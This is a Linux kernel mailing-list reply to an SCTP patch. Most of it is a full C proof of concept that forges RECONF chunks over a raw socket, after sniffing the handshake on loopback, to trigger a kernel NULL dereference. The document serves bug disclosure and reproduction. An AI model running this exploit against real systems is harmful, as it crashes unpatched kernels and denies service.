Re: [PATCH net v2] sctp: fix NULL deref on untransmitted RECONF completion

Weiming Shi <[email protected]>
Newsgroups org.kernel.vger.linux-sctp,org.kernel.vger.linux-kernel,org.kernel.vger.netdev,org.kernel.vger.stable
Message-ID <CANgPUi29bRnTJNZfTcr6uc0pB88px9BDuNWJV5Co+c9k+g9_Ug@mail.gmail.com>
Reproduction Steps:

1. Requirements
```
CONFIG_IP_SCTP=y
CONFIG_PACKET=y
```

2. PoC
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define IPPROTO_SCTP_           132
#define SOL_SCTP_               132
#define SCTP_RECONFIG_SUPPORTED_ 117
#define SCTP_ENABLE_STREAM_RESET_ 118
#define SCTP_ENABLE_RESET_STREAM_REQ_ 0x01

#define SCTP_CID_INIT           1
#define SCTP_CID_INIT_ACK       2
#define SCTP_CID_RECONF         0x82

#define P_RESET_OUT_REQUEST     0x000d
#define P_RESET_IN_REQUEST      0x000e
#define P_RESET_RESPONSE        0x0010

#define SRV_PORT                29899

struct sctp_assoc_value_ {
        int assoc_id;
        uint32_t assoc_value;
};

static void die(const char *fmt, ...)
{
        va_list ap;

        va_start(ap, fmt);
        vfprintf(stderr, fmt, ap);
        va_end(ap);
        fprintf(stderr, ": %s\n", strerror(errno));
        exit(1);
}

static void say(const char *fmt, ...)
{
        va_list ap;

        va_start(ap, fmt);
        vprintf(fmt, ap);
        va_end(ap);
        printf("\n");
        fflush(stdout);
}

/* CRC32c (Castagnoli), reflected, as used for the SCTP checksum. */
static uint32_t crc32c(const uint8_t *buf, size_t len)
{
        static uint32_t tab[256];
        static int done;
        uint32_t crc = 0xffffffffu;
        size_t i;

        if (!done) {
                for (i = 0; i < 256; i++) {
                        uint32_t c = (uint32_t)i;
                        int k;

                        for (k = 0; k < 8; k++)
                                c = (c & 1) ? (c >> 1) ^ 0x82f63b78u : c >> 1;
                        tab[i] = c;
                }
                done = 1;
        }

        for (i = 0; i < len; i++)
                crc = tab[(crc ^ buf[i]) & 0xff] ^ (crc >> 8);

        return crc ^ 0xffffffffu;
}

static void put16(uint8_t *p, uint16_t v) { uint16_t t = htons(v);
memcpy(p, &t, 2); }
static void put32(uint8_t *p, uint32_t v) { uint32_t t = htonl(v);
memcpy(p, &t, 4); }

/*
 * Drain the AF_PACKET tap and pull out
 *   - the initial TSN from the INIT we sent          (peer's strreset_inseq)
 *   - the initiate tag from the INIT-ACK we received (vtag for our packets)
 */
static int harvest_handshake(int tap, uint16_t cport, uint32_t *init_tsn,
                             uint32_t *peer_vtag)
{
        int got_tsn = 0, got_vtag = 0;
        uint8_t buf[2048];

        for (;;) {
                ssize_t n = recv(tap, buf, sizeof(buf), MSG_DONTWAIT);
                const uint8_t *ip, *sctp, *chunk;
                unsigned int ihl;
                uint16_t sport, dport;

                if (n < 0) {
                        if (errno == EAGAIN || errno == EWOULDBLOCK)
                                break;
                        die("tap recv");
                }
                if (n < (ssize_t)(sizeof(struct iphdr) + 12 + 4))
                        continue;

                ip = buf;
                if ((ip[0] >> 4) != 4 || ip[9] != IPPROTO_SCTP_)
                        continue;
                ihl = (ip[0] & 0x0f) * 4;
                if (n < (ssize_t)(ihl + 12 + 4 + 16))
                        continue;

                sctp = ip + ihl;
                memcpy(&sport, sctp + 0, 2); sport = ntohs(sport);
                memcpy(&dport, sctp + 2, 2); dport = ntohs(dport);
                chunk = sctp + 12;

                /* INIT we emitted: fixed part is
tag/a_rwnd/nout/nin/initial_tsn */
                if (chunk[0] == SCTP_CID_INIT && sport == cport &&
                    dport == SRV_PORT && !got_tsn) {
                        memcpy(init_tsn, chunk + 4 + 12, 4);
                        *init_tsn = ntohl(*init_tsn);
                        got_tsn = 1;
                }

                /* INIT-ACK from the victim: its initiate tag is our vtag */
                if (chunk[0] == SCTP_CID_INIT_ACK && sport == SRV_PORT &&
                    dport == cport && !got_vtag) {
                        memcpy(peer_vtag, chunk + 4, 4);
                        *peer_vtag = ntohl(*peer_vtag);
                        got_vtag = 1;
                }
        }

        return got_tsn && got_vtag;
}

int main(int argc, char **argv)
{
        struct sockaddr_in srv = { 0 }, cli = { 0 };
        uint32_t init_tsn = 0, peer_vtag = 0;
        int lfd, cfd, afd, tap, raw, one = 1;
        struct sctp_assoc_value_ av;
        struct sockaddr_ll ll = { 0 };
        socklen_t slen;
        uint8_t pkt[64];
        int multichunk;
        uint16_t cport;
        size_t paylen;
        uint32_t ck;
        uint8_t *c;

        multichunk = (argc > 1 && !strcmp(argv[1], "multichunk"));

        srv.sin_family = AF_INET;
        srv.sin_port = htons(SRV_PORT);
        srv.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

        /* ---- victim endpoint ------------------------------------------- */
        lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP_);
        if (lfd < 0)
                die("socket(SCTP) -- is the sctp module loaded?");
        if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
                die("SO_REUSEADDR");

        av.assoc_id = 0;
        av.assoc_value = 1;
        if (setsockopt(lfd, SOL_SCTP_, SCTP_RECONFIG_SUPPORTED_, &av,
sizeof(av)) < 0)
                die("victim SCTP_RECONFIG_SUPPORTED");
        av.assoc_value = SCTP_ENABLE_RESET_STREAM_REQ_;
        if (setsockopt(lfd, SOL_SCTP_, SCTP_ENABLE_STREAM_RESET_, &av,
sizeof(av)) < 0)
                die("victim SCTP_ENABLE_STREAM_RESET");

        if (bind(lfd, (struct sockaddr *)&srv, sizeof(srv)) < 0)
                die("bind");
        if (listen(lfd, 4) < 0)
                die("listen");
        say("[*] victim listening on 127.0.0.1:%d (reconf + stream
reset on)", SRV_PORT);

        /* ---- tap loopback before the handshake -------------------------- */
        tap = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
        if (tap < 0)
                die("AF_PACKET socket");
        ll.sll_family = AF_PACKET;
        ll.sll_protocol = htons(ETH_P_IP);
        ll.sll_ifindex = if_nametoindex("lo");
        if (!ll.sll_ifindex)
                die("if_nametoindex(lo)");
        if (bind(tap, (struct sockaddr *)&ll, sizeof(ll)) < 0)
                die("bind tap");

        /* ---- attacker association --------------------------------------- */
        cfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP_);
        if (cfd < 0)
                die("client socket");
        av.assoc_id = 0;
        av.assoc_value = 1;
        if (setsockopt(cfd, SOL_SCTP_, SCTP_RECONFIG_SUPPORTED_, &av,
sizeof(av)) < 0)
                die("client SCTP_RECONFIG_SUPPORTED");

        if (connect(cfd, (struct sockaddr *)&srv, sizeof(srv)) < 0)
                die("connect");
        afd = accept(lfd, NULL, NULL);
        if (afd < 0)
                die("accept");

        slen = sizeof(cli);
        if (getsockname(cfd, (struct sockaddr *)&cli, &slen) < 0)
                die("getsockname");
        cport = ntohs(cli.sin_port);
        say("[*] association established, client port %u", cport);

        if (!harvest_handshake(tap, cport, &init_tsn, &peer_vtag)) {
                fprintf(stderr, "could not recover TSN/vtag from the tap\n");
                return 1;
        }
        say("[*] harvested initial_tsn=0x%08x peer_vtag=0x%08x",
init_tsn, peer_vtag);

        /* ---- forge the RECONF chunk -------------------------------------- */
        memset(pkt, 0, sizeof(pkt));
        put16(pkt + 0, cport);          /* source port      */
        put16(pkt + 2, SRV_PORT);       /* destination port */
        put32(pkt + 4, peer_vtag);      /* verification tag */
        /* pkt + 8: checksum, filled in below */

        c = pkt + 12;

        if (multichunk) {
                /* chunk #1: parks the reply, still corked */
                c[0] = SCTP_CID_RECONF;
                c[1] = 0;
                put16(c + 2, 4 + 8);
                put16(c + 4 + 0, P_RESET_IN_REQUEST);
                put16(c + 4 + 2, 8);
                put32(c + 4 + 4, init_tsn);

                c += 12;
                c[0] = SCTP_CID_RECONF;
                c[1] = 0;
                put16(c + 2, 4 + 12);
                put16(c + 4 + 0, P_RESET_RESPONSE);
                put16(c + 4 + 2, 12);
                put32(c + 4 + 4, 0);
                put32(c + 4 + 8, 0);

                paylen = 12 + 12 + 16;
        } else {
                c[0] = SCTP_CID_RECONF;
                c[1] = 0;
                put16(c + 2, 4 + 8 + 16 + 12);

                put16(c + 4 + 0, P_RESET_IN_REQUEST);
                put16(c + 4 + 2, 8);
                put32(c + 4 + 4, init_tsn);

                put16(c + 12 + 0, P_RESET_OUT_REQUEST);
                put16(c + 12 + 2, 16);
                put32(c + 12 + 4, init_tsn + 1);
                put32(c + 12 + 8, 0);
                put32(c + 12 + 12, 0);

                put16(c + 28 + 0, P_RESET_RESPONSE);
                put16(c + 28 + 2, 12);
                put32(c + 28 + 4, 0);
                put32(c + 28 + 8, 0);

                paylen = 12 + 4 + 8 + 16 + 12;
        }

        ck = crc32c(pkt, paylen);
        memcpy(pkt + 8, &ck, 4);                /* little endian on the wire  */

        raw = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP_);
        if (raw < 0)
                die("raw socket (need CAP_NET_RAW)");

        say("[*] injecting %s", multichunk ?
            "two RECONF chunks in one packet: [IN_REQUEST] [RESPONSE]" :
            "one RECONF chunk: [IN_REQUEST, OUT_REQUEST, RESPONSE]");
        if (sendto(raw, pkt, paylen, 0,
                   (struct sockaddr *)&srv, sizeof(srv)) < 0)
                die("sendto");

        sleep(2);
        say("[*] survived -- no crash");
        (void)afd;
        return 0;
}
```
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.